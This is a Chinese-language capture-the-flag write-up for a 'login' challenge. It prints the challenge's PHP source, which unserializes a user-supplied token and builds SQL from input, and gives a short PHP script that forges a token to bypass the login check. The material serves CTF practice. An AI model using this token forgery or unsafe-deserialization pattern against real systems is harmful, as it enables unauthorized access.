百度杯”ctf比赛 十月场 login
登录:
1,先看源码,第一眼没有什么信息;
1.1接着拿sqlmap跑一下,并没有什么效果;在看源码,在最下面有惊喜
很像用户和密码--------------试试看 ------------》进入了member.php页面
接着看源码 (这次没有惊喜了)
2.bp抓包(注意抓member页面的包,别抓错了)
发现回报里有平常没有的变量show,那我们就show一吧,在包里吧show变量加上去,试试,我试了show:0 show:1 show:2这三个,当show:1时,回报里会出现源码
源码如下
<?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); class db { public $where; function __wakeup() { if(!empty($this->where)) { $this->select($this->where); } } function select($where) { $sql = mysql_query('select * from user where '.$where); return @mysql_fetch_array($sql); } } if(isset($requset['token'])) { $login = unserialize(gzuncompress(base64_decode($requset['token']))); $db = new db(); $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); if($login['user'] === 'ichunqiu') { echo $flag; }else if($row['pass'] !== $login['pass']){ echo 'unserialize injection!!'; }else{ echo "(╯‵□′)╯︵┴─┴ "; } }else{ header('Location: index.php?error=1'); } ?>
3,接着就是PHP代码审计了,重点是代码中高亮的部分
requset接受数据,所以post ,get都行
这三个函数的作用如下:
unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值
gzuncompress:解压被压缩的字符串
base64_decode:base64解码
他们对token变量中的数据做了上述操作,通读代码得:
当user 等于ichunqiu时,flag会出来,但其被login对象一顿操作了,我们要将其操作回来 ---- 逆
逆 ---- 用到的函数有:base64_encode gzcompress serialize
代码如下:
<?php $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a ?>
逆----后的值如下(此处需要本地有PHP环境)不知道的可以去搜 --------------- phpstudy
4.将得来的值放在token变量里发出去,(这里没有token变量,要我们自己创)
获得flag!!!
总结
PHP中三个函数的作用,已经array数组的键值对应
unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值
gzuncompress:解压被压缩的字符串
base64_decode:base64解码

浙公网安备 33010602011771号